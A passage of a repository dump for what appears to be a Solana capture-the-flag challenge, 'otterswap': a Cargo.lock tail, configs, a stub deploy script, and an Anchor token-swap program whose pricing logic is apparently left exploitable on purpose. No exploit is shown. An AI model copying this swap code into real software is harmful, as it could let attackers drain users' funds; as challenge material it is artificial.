"registry+https://github.com/rust-lang/crates.io-index" 711 | checksum = "ccab96b584d38fac86a83f07e659f0deafd0253dc096dab5a36d53efe653c5c3" 712 | dependencies = [ 713 | "libsecp256k1-core", 714 | ] 715 | 716 | [[package]] 717 | name = "libsecp256k1-gen-genmult" 718 | version = "0.2.1" 719 | source = "registry+https://github.com/rust-lang/crates.io-index" 720 | checksum = "67abfe149395e3aa1c48a2beb32b068e2334402df8181f818d3aee2b304c4f5d" 721 | dependencies = [ 722 | "libsecp256k1-core", 723 | ] 724 | 725 | [[package]] 726 | name = "lock_api" 727 | version = "0.4.7" 728 | source = "registry+https://github.com/rust-lang/crates.io-index" 729 | checksum = "327fa5b6a6940e4699ec49a9beae1ea4845c6bab9314e4f84ac68742139d8c53" 730 | dependencies = [ 731 | "autocfg", 732 | "scopeguard", 733 | ] 734 | 735 | [[package]] 736 | name = "log" 737 | version = "0.4.17" 738 | source = "registry+https://github.com/rust-lang/crates.io-index" 739 | checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e" 740 | dependencies = [ 741 | "cfg-if", 742 | ] 743 | 744 | [[package]] 745 | name = "memchr" 746 | version = "2.5.0" 747 | source = "registry+https://github.com/rust-lang/crates.io-index" 748 | checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" 749 | 750 | [[package]] 751 | name = "memmap2" 752 | version = "0.5.5" 753 | source = "registry+https://github.com/rust-lang/crates.io-index" 754 | checksum = "3a79b39c93a7a5a27eeaf9a23b5ff43f1b9e0ad6b1cdd441140ae53c35613fc7" 755 | dependencies = [ 756 | "libc", 757 | ] 758 | 759 | [[package]] 760 | name = "num-derive" 761 | version = "0.3.3" 762 | source = "registry+https://github.com/rust-lang/crates.io-index" 763 | checksum = "876a53fff98e03a936a674b29568b0e605f06b29372c2489ff4de23f1949743d" 764 | dependencies = [ 765 | "proc-macro2", 766 | "quote", 767 | "syn", 768 | ] 769 | 770 | [[package]] 771 | name = "num-traits" 772 | version = "0.2.15" 773 | source = "registry+https://github.com/rust-lang/crates.io-index" 774 | checksum = "578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd" 775 | dependencies = [ 776 | "autocfg", 777 | ] 778 | 779 | [[package]] 780 | name = "num_enum" 781 | version = "0.5.7" 782 | source = "registry+https://github.com/rust-lang/crates.io-index" 783 | checksum = "cf5395665662ef45796a4ff5486c5d41d29e0c09640af4c5f17fd94ee2c119c9" 784 | dependencies = [ 785 | "num_enum_derive", 786 | ] 787 | 788 | [[package]] 789 | name = "num_enum_derive" 790 | version = "0.5.7" 791 | source = "registry+https://github.com/rust-lang/crates.io-index" 792 | checksum = "3b0498641e53dd6ac1a4f22547548caa6864cc4933784319cd1775271c5a46ce" 793 | dependencies = [ 794 | "proc-macro-crate 1.1.3", 795 | "proc-macro2", 796 | "quote", 797 | "syn", 798 | ] 799 | 800 | [[package]] 801 | name = "once_cell" 802 | version = "1.13.0" 803 | source = "registry+https://github.com/rust-lang/crates.io-index" 804 | checksum = "18a6dbe30758c9f83eb00cbea4ac95966305f5a7772f3f42ebfc7fc7eddbd8e1" 805 | 806 | [[package]] 807 | name = "opaque-debug" 808 | version = "0.3.0" 809 | source = "registry+https://github.com/rust-lang/crates.io-index" 810 | checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" 811 | 812 | [[package]] 813 | name = "parking_lot" 814 | version = "0.11.2" 815 | source = "registry+https://github.com/rust-lang/crates.io-index" 816 | checksum = "7d17b78036a60663b797adeaee46f5c9dfebb86948d1255007a1d6be0271ff99" 817 | dependencies = [ 818 | "instant", 819 | "lock_api", 820 | "parking_lot_core", 821 | ] 822 | 823 | [[package]] 824 | name = "parking_lot_core" 825 | version = "0.8.5" 826 | source = "registry+https://github.com/rust-lang/crates.io-index" 827 | checksum = "d76e8e1493bcac0d2766c42737f34458f1c8c50c0d23bcb24ea953affb273216" 828 | dependencies = [ 829 | "cfg-if", 830 | "instant", 831 | "libc", 832 | "redox_syscall", 833 | "smallvec", 834 | "winapi", 835 | ] 836 | 837 | [[package]] 838 | name = "ppv-lite86" 839 | version = "0.2.16" 840 | source = "registry+https://github.com/rust-lang/crates.io-index" 841 | checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872" 842 | 843 | [[package]] 844 | name = "proc-macro-crate" 845 | version = "0.1.5" 846 | source = "registry+https://github.com/rust-lang/crates.io-index" 847 | checksum = "1d6ea3c4595b96363c13943497db34af4460fb474a95c43f4446ad341b8c9785" 848 | dependencies = [ 849 | "toml", 850 | ] 851 | 852 | [[package]] 853 | name = "proc-macro-crate" 854 | version = "1.1.3" 855 | source = "registry+https://github.com/rust-lang/crates.io-index" 856 | checksum = "e17d47ce914bf4de440332250b0edd23ce48c005f59fab39d3335866b114f11a" 857 | dependencies = [ 858 | "thiserror", 859 | "toml", 860 | ] 861 | 862 | [[package]] 863 | name = "proc-macro2" 864 | version = "1.0.40" 865 | source = "registry+https://github.com/rust-lang/crates.io-index" 866 | checksum = "dd96a1e8ed2596c337f8eae5f24924ec83f5ad5ab21ea8e455d3566c69fbcaf7" 867 | dependencies = [ 868 | "unicode-ident", 869 | ] 870 | 871 | [[package]] 872 | name = "proc-macro2-diagnostics" 873 | version = "0.9.1" 874 | source = "registry+https://github.com/rust-lang/crates.io-index" 875 | checksum = "4bf29726d67464d49fa6224a1d07936a8c08bb3fba727c7493f6cf1616fdaada" 876 | dependencies = [ 877 | "proc-macro2", 878 | "quote", 879 | "syn", 880 | "version_check", 881 | "yansi", 882 | ] 883 | 884 | [[package]] 885 | name = "quote" 886 | version = "1.0.20" 887 | source = "registry+https://github.com/rust-lang/crates.io-index" 888 | checksum = "3bcdf212e9776fbcb2d23ab029360416bb1706b1aea2d1a5ba002727cbcab804" 889 | dependencies = [ 890 | "proc-macro2", 891 | ] 892 | 893 | [[package]] 894 | name = "rand" 895 | version = "0.7.3" 896 | source = "registry+https://github.com/rust-lang/crates.io-index" 897 | checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" 898 | dependencies = [ 899 | "getrandom 0.1.16", 900 | "libc", 901 | "rand_chacha", 902 | "rand_core", 903 | "rand_hc", 904 | ] 905 | 906 | [[package]] 907 | name = "rand_chacha" 908 | version = "0.2.2" 909 | source = "registry+https://github.com/rust-lang/crates.io-index" 910 | checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" 911 | dependencies = [ 912 | "ppv-lite86", 913 | "rand_core", 914 | ] 915 | 916 | [[package]] 917 | name = "rand_core" 918 | version = "0.5.1" 919 | source = "registry+https://github.com/rust-lang/crates.io-index" 920 | checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" 921 | dependencies = [ 922 | "getrandom 0.1.16", 923 | ] 924 | 925 | [[package]] 926 | name = "rand_hc" 927 | version = "0.2.0" 928 | source = "registry+https://github.com/rust-lang/crates.io-index" 929 | checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" 930 | dependencies = [ 931 | "rand_core", 932 | ] 933 | 934 | [[package]] 935 | name = "redox_syscall" 936 | version = "0.2.13" 937 | source = "registry+https://github.com/rust-lang/crates.io-index" 938 | checksum = "62f25bc4c7e55e0b0b7a1d43fb893f4fa1361d0abe38b9ce4f323c2adfe6ef42" 939 | dependencies = [ 940 | "bitflags", 941 | ] 942 | 943 | [[package]] 944 | name = "regex" 945 | version = "1.6.0" 946 | source = "registry+https://github.com/rust-lang/crates.io-index" 947 | checksum = "4c4eb3267174b8c6c2f654116623910a0fef09c4753f8dd83db29c48a0df988b" 948 | dependencies = [ 949 | "aho-corasick", 950 | "memchr", 951 | "regex-syntax", 952 | ] 953 | 954 | [[package]] 955 | name = "regex-syntax" 956 | version = "0.6.27" 957 | source = "registry+https://github.com/rust-lang/crates.io-index" 958 | checksum = "a3f87b73ce11b1619a3c6332f45341e0047173771e8b8b73f87bfeefb7b56244" 959 | 960 | [[package]] 961 | name = "rustc_version" 962 | version = "0.4.0" 963 | source = "registry+https://github.com/rust-lang/crates.io-index" 964 | checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" 965 | dependencies = [ 966 | "semver", 967 | ] 968 | 969 | [[package]] 970 | name = "rustversion" 971 | version = "1.0.8" 972 | source = "registry+https://github.com/rust-lang/crates.io-index" 973 | checksum = "24c8ad4f0c00e1eb5bc7614d236a7f1300e3dbd76b68cac8e06fb00b015ad8d8" 974 | 975 | [[package]] 976 | name = "ryu" 977 | version = "1.0.10" 978 | source = "registry+https://github.com/rust-lang/crates.io-index" 979 | checksum = "f3f6f92acf49d1b98f7a81226834412ada05458b7364277387724a237f062695" 980 | 981 | [[package]] 982 | name = "scopeguard" 983 | version = "1.1.0" 984 | source = "registry+https://github.com/rust-lang/crates.io-index" 985 | checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" 986 | 987 | [[package]] 988 | name = "semver" 989 | version = "1.0.12" 990 | source = "registry+https://github.com/rust-lang/crates.io-index" 991 | checksum = "a2333e6df6d6598f2b1974829f853c2b4c5f4a6e503c10af918081aa6f8564e1" 992 | 993 | [[package]] 994 | name = "serde" 995 | version = "1.0.139" 996 | source = "registry+https://github.com/rust-lang/crates.io-index" 997 | checksum = "0171ebb889e45aa68b44aee0859b3eede84c6f5f5c228e6f140c0b2a0a46cad6" 998 | dependencies = [ 999 | "serde_derive", 1000 | ] 1001 | 1002 | [[package]] 1003 | name = "serde_bytes" 1004 | version = "0.11.6" 1005 | source = "registry+https://github.com/rust-lang/crates.io-index" 1006 | checksum = "212e73464ebcde48d723aa02eb270ba62eff38a9b732df31f33f1b4e145f3a54" 1007 | dependencies = [ 1008 | "serde", 1009 | ] 1010 | 1011 | [[package]] 1012 | name = "serde_derive" 1013 | version = "1.0.139" 1014 | source = "registry+https://github.com/rust-lang/crates.io-index" 1015 | checksum = "dc1d3230c1de7932af58ad8ffbe1d784bd55efd5a9d84ac24f69c72d83543dfb" 1016 | dependencies = [ 1017 | "proc-macro2", 1018 | "quote", 1019 | "syn", 1020 | ] 1021 | 1022 | [[package]] 1023 | name = "serde_json" 1024 | version = "1.0.82" 1025 | source = "registry+https://github.com/rust-lang/crates.io-index" 1026 | checksum = "82c2c1fdcd807d1098552c5b9a36e425e42e9fbd7c6a37a8425f390f781f7fa7" 1027 | dependencies = [ 1028 | "itoa", 1029 | "ryu", 1030 | "serde", 1031 | ] 1032 | 1033 | [[package]] 1034 | name = "sha2" 1035 | version = "0.9.9" 1036 | source = "registry+https://github.com/rust-lang/crates.io-index" 1037 | checksum = "4d58a1e1bf39749807d89cf2d98ac2dfa0ff1cb3faa38fbb64dd88ac8013d800" 1038 | dependencies = [ 1039 | "block-buffer 0.9.0", 1040 | "cfg-if", 1041 | "cpufeatures", 1042 | "digest 0.9.0", 1043 | "opaque-debug", 1044 | ] 1045 | 1046 | [[package]] 1047 | name = "sha3" 1048 | version = "0.9.1" 1049 | source = "registry+https://github.com/rust-lang/crates.io-index" 1050 | checksum = "f81199417d4e5de3f04b1e871023acea7389672c4135918f05aa9cbf2f2fa809" 1051 | dependencies = [ 1052 | "block-buffer 0.9.0", 1053 | "digest 0.9.0", 1054 | "keccak", 1055 | "opaque-debug", 1056 | ] 1057 | 1058 | [[package]] 1059 | name = "smallvec" 1060 | version = "1.9.0" 1061 | source = "registry+https://github.com/rust-lang/crates.io-index" 1062 | checksum = "2fd0db749597d91ff862fd1d55ea87f7855a744a8425a64695b6fca237d1dad1" 1063 | 1064 | [[package]] 1065 | name = "solana-frozen-abi" 1066 | version = "1.9.29" 1067 | source = "registry+https://github.com/rust-lang/crates.io-index" 1068 | checksum = "2d4fcb89eb3d0f30bd4b4a31ad1825c9d95cd638509acead00969d7601713288" 1069 | dependencies = [ 1070 | "bs58 0.4.0", 1071 | "bv", 1072 | "generic-array", 1073 | "log", 1074 | "memmap2", 1075 | "rustc_version", 1076 | "serde", 1077 | "serde_derive", 1078 | "sha2", 1079 | "solana-frozen-abi-macro", 1080 | "solana-logger", 1081 | "thiserror", 1082 | ] 1083 | 1084 | [[package]] 1085 | name = "solana-frozen-abi-macro" 1086 | version = "1.9.29" 1087 | source = "registry+https://github.com/rust-lang/crates.io-index" 1088 | checksum = "d63ab101db88ecccd8da34065b9097b88367e0744fdfd05cb7de87b4ede3717f" 1089 | dependencies = [ 1090 | "proc-macro2", 1091 | "quote", 1092 | "rustc_version", 1093 | "syn", 1094 | ] 1095 | 1096 | [[package]] 1097 | name = "solana-logger" 1098 | version = "1.9.29" 1099 | source = "registry+https://github.com/rust-lang/crates.io-index" 1100 | checksum = "9ce1805d52fc8277a84c4803c7850c8f41471b57fb0dec7750338955ad6e43e2" 1101 | dependencies = [ 1102 | "env_logger", 1103 | "lazy_static", 1104 | "log", 1105 | ] 1106 | 1107 | [[package]] 1108 | name = "solana-program" 1109 | version = "1.9.29" 1110 | source = "registry+https://github.com/rust-lang/crates.io-index" 1111 | checksum = "f5deafc4902425d40197f74166640300dd20b078e4ffd518c1bb56ceb7e01680" 1112 | dependencies = [ 1113 | "base64 0.13.0", 1114 | "bincode", 1115 | "bitflags", 1116 | "blake3", 1117 | "borsh", 1118 | "borsh-derive", 1119 | "bs58 0.4.0", 1120 | "bv", 1121 | "bytemuck", 1122 | "console_error_panic_hook", 1123 | "console_log", 1124 | "curve25519-dalek", 1125 | "getrandom 0.1.16", 1126 | "itertools", 1127 | "js-sys", 1128 | "lazy_static", 1129 | "libsecp256k1", 1130 | "log", 1131 | "num-derive", 1132 | "num-traits", 1133 | "parking_lot", 1134 | "rand", 1135 | "rustc_version", 1136 | "rustversion", 1137 | "serde", 1138 | "serde_bytes", 1139 | "serde_derive", 1140 | "sha2", 1141 | "sha3", 1142 | "solana-frozen-abi", 1143 | "solana-frozen-abi-macro", 1144 | "solana-logger", 1145 | "solana-sdk-macro", 1146 | "thiserror", 1147 | "wasm-bindgen", 1148 | ] 1149 | 1150 | [[package]] 1151 | name = "solana-sdk-macro" 1152 | version = "1.9.29" 1153 | source = "registry+https://github.com/rust-lang/crates.io-index" 1154 | checksum = "3db4c93bd43c91290ad54fe6ff86179a859954f196507c4789a4876d38a62f17" 1155 | dependencies = [ 1156 | "bs58 0.4.0", 1157 | "proc-macro2", 1158 | "quote", 1159 | "rustversion", 1160 | "syn", 1161 | ] 1162 | 1163 | [[package]] 1164 | name = "spl-associated-token-account" 1165 | version = "1.0.5" 1166 | source = "registry+https://github.com/rust-lang/crates.io-index" 1167 | checksum = "2b013067447a1396303ddfc294f36e3d260a32f8a16c501c295bcdc7de39b490" 1168 | dependencies = [ 1169 | "borsh", 1170 | "solana-program", 1171 | "spl-token", 1172 | ] 1173 | 1174 | [[package]] 1175 | name = "spl-token" 1176 | version = "3.3.0" 1177 | source = "registry+https://github.com/rust-lang/crates.io-index" 1178 | checksum = "0cc67166ef99d10c18cb5e9c208901e6d8255c6513bb1f877977eba48e6cc4fb" 1179 | dependencies = [ 1180 | "arrayref", 1181 | "num-derive", 1182 | "num-traits", 1183 | "num_enum", 1184 | "solana-program", 1185 | "thiserror", 1186 | ] 1187 | 1188 | [[package]] 1189 | name = "subtle" 1190 | version = "2.4.1" 1191 | source = "registry+https://github.com/rust-lang/crates.io-index" 1192 | checksum = "6bdef32e8150c2a081110b42772ffe7d7c9032b606bc226c8260fd97e0976601" 1193 | 1194 | [[package]] 1195 | name = "syn" 1196 | version = "1.0.98" 1197 | source = "registry+https://github.com/rust-lang/crates.io-index" 1198 | checksum = "c50aef8a904de4c23c788f104b7dddc7d6f79c647c7c8ce4cc8f73eb0ca773dd" 1199 | dependencies = [ 1200 | "proc-macro2", 1201 | "quote", 1202 | "unicode-ident", 1203 | ] 1204 | 1205 | [[package]] 1206 | name = "termcolor" 1207 | version = "1.1.3" 1208 | source = "registry+https://github.com/rust-lang/crates.io-index" 1209 | checksum = "bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755" 1210 | dependencies = [ 1211 | "winapi-util", 1212 | ] 1213 | 1214 | [[package]] 1215 | name = "thiserror" 1216 | version = "1.0.31" 1217 | source = "registry+https://github.com/rust-lang/crates.io-index" 1218 | checksum = "bd829fe32373d27f76265620b5309d0340cb8550f523c1dda251d6298069069a" 1219 | dependencies = [ 1220 | "thiserror-impl", 1221 | ] 1222 | 1223 | [[package]] 1224 | name = "thiserror-impl" 1225 | version = "1.0.31" 1226 | source = "registry+https://github.com/rust-lang/crates.io-index" 1227 | checksum = "0396bc89e626244658bef819e22d0cc459e795a5ebe878e6ec336d1674a8d79a" 1228 | dependencies = [ 1229 | "proc-macro2", 1230 | "quote", 1231 | "syn", 1232 | ] 1233 | 1234 | [[package]] 1235 | name = "toml" 1236 | version = "0.5.9" 1237 | source = "registry+https://github.com/rust-lang/crates.io-index" 1238 | checksum = "8d82e1a7758622a465f8cee077614c73484dac5b836c02ff6a40d5d1010324d7" 1239 | dependencies = [ 1240 | "serde", 1241 | ] 1242 | 1243 | [[package]] 1244 | name = "typenum" 1245 | version = "1.15.0" 1246 | source = "registry+https://github.com/rust-lang/crates.io-index" 1247 | checksum = "dcf81ac59edc17cc8697ff311e8f5ef2d99fcbd9817b34cec66f90b6c3dfd987" 1248 | 1249 | [[package]] 1250 | name = "unicode-ident" 1251 | version = "1.0.2" 1252 | source = "registry+https://github.com/rust-lang/crates.io-index" 1253 | checksum = "15c61ba63f9235225a22310255a29b806b907c9b8c964bcbd0a2c70f3f2deea7" 1254 | 1255 | [[package]] 1256 | name = "unicode-segmentation" 1257 | version = "1.9.0" 1258 | source = "registry+https://github.com/rust-lang/crates.io-index" 1259 | checksum = "7e8820f5d777f6224dc4be3632222971ac30164d4a258d595640799554ebfd99" 1260 | 1261 | [[package]] 1262 | name = "version_check" 1263 | version = "0.9.4" 1264 | source = "registry+https://github.com/rust-lang/crates.io-index" 1265 | checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" 1266 | 1267 | [[package]] 1268 | name = "wasi" 1269 | version = "0.9.0+wasi-snapshot-preview1" 1270 | source = "registry+https://github.com/rust-lang/crates.io-index" 1271 | checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" 1272 | 1273 | [[package]] 1274 | name = "wasi" 1275 | version = "0.11.0+wasi-snapshot-preview1" 1276 | source = "registry+https://github.com/rust-lang/crates.io-index" 1277 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" 1278 | 1279 | [[package]] 1280 | name = "wasm-bindgen" 1281 | version = "0.2.81" 1282 | source = "registry+https://github.com/rust-lang/crates.io-index" 1283 | checksum = "7c53b543413a17a202f4be280a7e5c62a1c69345f5de525ee64f8cfdbc954994" 1284 | dependencies = [ 1285 | "cfg-if", 1286 | "wasm-bindgen-macro", 1287 | ] 1288 | 1289 | [[package]] 1290 | name = "wasm-bindgen-backend" 1291 | version = "0.2.81" 1292 | source = "registry+https://github.com/rust-lang/crates.io-index" 1293 | checksum = "5491a68ab4500fa6b4d726bd67408630c3dbe9c4fe7bda16d5c82a1fd8c7340a" 1294 | dependencies = [ 1295 | "bumpalo", 1296 | "lazy_static", 1297 | "log", 1298 | "proc-macro2", 1299 | "quote", 1300 | "syn", 1301 | "wasm-bindgen-shared", 1302 | ] 1303 | 1304 | [[package]] 1305 | name = "wasm-bindgen-macro" 1306 | version = "0.2.81" 1307 | source = "registry+https://github.com/rust-lang/crates.io-index" 1308 | checksum = "c441e177922bc58f1e12c022624b6216378e5febc2f0533e41ba443d505b80aa" 1309 | dependencies = [ 1310 | "quote", 1311 | "wasm-bindgen-macro-support", 1312 | ] 1313 | 1314 | [[package]] 1315 | name = "wasm-bindgen-macro-support" 1316 | version = "0.2.81" 1317 | source = "registry+https://github.com/rust-lang/crates.io-index" 1318 | checksum = "7d94ac45fcf608c1f45ef53e748d35660f168490c10b23704c7779ab8f5c3048" 1319 | dependencies = [ 1320 | "proc-macro2", 1321 | "quote", 1322 | "syn", 1323 | "wasm-bindgen-backend", 1324 | "wasm-bindgen-shared", 1325 | ] 1326 | 1327 | [[package]] 1328 | name = "wasm-bindgen-shared" 1329 | version = "0.2.81" 1330 | source = "registry+https://github.com/rust-lang/crates.io-index" 1331 | checksum = "6a89911bd99e5f3659ec4acf9c4d93b0a90fe4a2a11f15328472058edc5261be" 1332 | 1333 | [[package]] 1334 | name = "web-sys" 1335 | version = "0.3.58" 1336 | source = "registry+https://github.com/rust-lang/crates.io-index" 1337 | checksum = "2fed94beee57daf8dd7d51f2b15dc2bcde92d7a72304cdf662a4371008b71b90" 1338 | dependencies = [ 1339 | "js-sys", 1340 | "wasm-bindgen", 1341 | ] 1342 | 1343 | [[package]] 1344 | name = "winapi" 1345 | version = "0.3.9" 1346 | source = "registry+https://github.com/rust-lang/crates.io-index" 1347 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 1348 | dependencies = [ 1349 | "winapi-i686-pc-windows-gnu", 1350 | "winapi-x86_64-pc-windows-gnu", 1351 | ] 1352 | 1353 | [[package]] 1354 | name = "winapi-i686-pc-windows-gnu" 1355 | version = "0.4.0" 1356 | source = "registry+https://github.com/rust-lang/crates.io-index" 1357 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 1358 | 1359 | [[package]] 1360 | name = "winapi-util" 1361 | version = "0.1.5" 1362 | source = "registry+https://github.com/rust-lang/crates.io-index" 1363 | checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" 1364 | dependencies = [ 1365 | "winapi", 1366 | ] 1367 | 1368 | [[package]] 1369 | name = "winapi-x86_64-pc-windows-gnu" 1370 | version = "0.4.0" 1371 | source = "registry+https://github.com/rust-lang/crates.io-index" 1372 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 1373 | 1374 | [[package]] 1375 | name = "yansi" 1376 | version = "0.5.1" 1377 | source = "registry+https://github.com/rust-lang/crates.io-index" 1378 | checksum = "09041cd90cf85f7f8b2df60c646f853b7f535ce68f85244eb6731cf89fa498ec" 1379 | 1380 | [[package]] 1381 | name = "zeroize" 1382 | version = "1.3.0" 1383 | source = "registry+https://github.com/rust-lang/crates.io-index" 1384 | checksum = "4756f7db3f7b5574938c3eb1c117038b8e07f95ee6718c0efad4ac21508f1efd" 1385 | -------------------------------------------------------------------------------- /otterswap/framework/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /otterswap/framework/chall/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /otterswap/framework/chall/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /otterswap/framework/chall/programs/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "chall" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "chall" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | -------------------------------------------------------------------------------- /otterswap/framework/chall/programs/chall/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /otterswap/framework/chall/programs/chall/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | use anchor_spl::token::{Mint, Token, TokenAccount, Transfer}; 3 | use anchor_spl::token; 4 | 5 | pub use anchor_lang; 6 | pub use anchor_spl; 7 | 8 | pub const SWAP_SEED: &[u8] = b"swap"; 9 | pub const POOL_A_SEED: &[u8] = b"poolA"; 10 | pub const POOL_B_SEED: &[u8] = b"poolB"; 11 | 12 | declare_id!("Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS"); 13 | 14 | #[program] 15 | pub mod chall { 16 | use super::*; 17 | 18 | pub fn initialize(ctx: Context) -> Result<()> { 19 | let swap = &mut ctx.accounts.swap; 20 | 21 | swap.owner = ctx.accounts.payer.key(); 22 | swap.pool_a = ctx.accounts.pool_a.key(); 23 | swap.pool_b = ctx.accounts.pool_b.key(); 24 | swap.bump = [*ctx.bumps.get("swap").unwrap()]; 25 | 26 | Ok(()) 27 | } 28 | 29 | pub fn swap(ctx: Context, amount: u64, a_to_b: bool) -> Result<()> { 30 | let swap = &ctx.accounts.swap; 31 | let pool_a = &mut ctx.accounts.pool_a; 32 | let pool_b = &mut ctx.accounts.pool_b; 33 | let user_in_account = &ctx.accounts.user_in_account; 34 | let user_out_account = &ctx.accounts.user_out_account; 35 | 36 | let (in_pool_account, out_pool_account) = if a_to_b { (pool_a, pool_b) } else { (pool_b, pool_a) }; 37 | 38 | let x = in_pool_account.amount; 39 | let y = out_pool_account.amount; 40 | 41 | let out_amount = y - (x * y) / (x + amount); 42 | 43 | assert!(in_pool_account.mint == user_in_account.mint); 44 | assert!(out_pool_account.mint == user_out_account.mint); 45 | 46 | let in_ctx = CpiContext::new( 47 | ctx.accounts.token_program.to_account_info(), 48 | Transfer { 49 | from: ctx.accounts.user_in_account.to_account_info(), 50 | to: in_pool_account.to_account_info(), 51 | authority: ctx.accounts.payer.to_account_info() 52 | } 53 | ); 54 | let out_ctx = CpiContext::new( 55 | ctx.accounts.token_program.to_account_info(), 56 | Transfer { 57 | from: out_pool_account.to_account_info(), 58 | to: ctx.accounts.user_out_account.to_account_info(), 59 | authority: ctx.accounts.swap.to_account_info() 60 | } 61 | ); 62 | 63 | token::transfer(in_ctx, amount)?; 64 | let signer = [&swap.signer_seeds()[..]]; 65 | token::transfer(out_ctx.with_signer(&signer), out_amount)?; 66 | 67 | in_pool_account.reload()?; 68 | out_pool_account.reload()?; 69 | 70 | assert!(in_pool_account.amount == x + amount); 71 | assert!(out_pool_account.amount == y - out_amount); 72 | 73 | Ok(()) 74 | } 75 | } 76 | 77 | #[derive(Accounts)] 78 | pub struct Initialize<'info> { 79 | #[account( 80 | init, 81 | seeds = [ SWAP_SEED, payer.key().as_ref() ], 82 | bump, 83 | payer = payer, 84 | space = 1000 85 | )] 86 | pub swap: Account<'info, SwapInfo>, 87 | 88 | #[account(init, 89 | seeds = [ POOL_A_SEED, swap.key().as_ref() ], 90 | bump, 91 | payer = payer, 92 | token::mint = mint_a, 93 | token::authority = swap 94 | )] 95 | pub pool_a: Account<'info, TokenAccount>, 96 | 97 | #[account(init, 98 | seeds = [ POOL_B_SEED, swap.key().as_ref() ], 99 | bump, 100 | payer = payer, 101 | token::mint = mint_b, 102 | token::authority = swap 103 | )] 104 | pub pool_b: Account<'info, TokenAccount>, 105 | 106 | #[account(constraint = mint_a.key() != mint_b.key())] 107 | pub mint_a: Account<'info, Mint>, 108 | #[account(constraint = mint_b.key() != mint_a.key())] 109 | pub mint_b: Account<'info, Mint>, 110 | 111 | #[account(mut)] 112 | pub payer: Signer<'info>, 113 | pub system_program: Program<'info, System>, 114 | pub token_program: Program<'info, Token>, 115 | pub rent: Sysvar<'info, Rent>, 116 | } 117 | 118 | #[derive(Accounts)] 119 | pub struct Swap<'info> { 120 | #[account( 121 | has_one = pool_a, 122 | has_one = pool_b, 123 | seeds = [ SWAP_SEED, swap.owner.as_ref() ], 124 | bump = swap.bump[0] 125 | )] 126 | pub swap: Account<'info, SwapInfo>, 127 | 128 | #[account(mut, 129 | seeds = [ POOL_A_SEED, swap.key().as_ref() ], 130 | bump, 131 | token::authority = swap 132 | )] 133 | pub pool_a: Account<'info, TokenAccount>, 134 | 135 | #[account(mut, 136 | seeds = [ POOL_B_SEED, swap.key().as_ref() ], 137 | bump, 138 | token::authority = swap 139 | )] 140 | pub pool_b: Account<'info, TokenAccount>, 141 | 142 | #[account(mut, 143 | constraint = user_in_account.owner == payer.key() 144 | )] 145 | pub user_in_account: Account<'info, TokenAccount>, 146 | 147 | #[account(mut, 148 | constraint = user_out_account.owner == payer.key() 149 | )] 150 | pub user_out_account: Account<'info, TokenAccount>, 151 | 152 | #[account(mut)] 153 | pub payer: Signer<'info>, 154 | pub token_program: Program<'info, Token>, 155 | 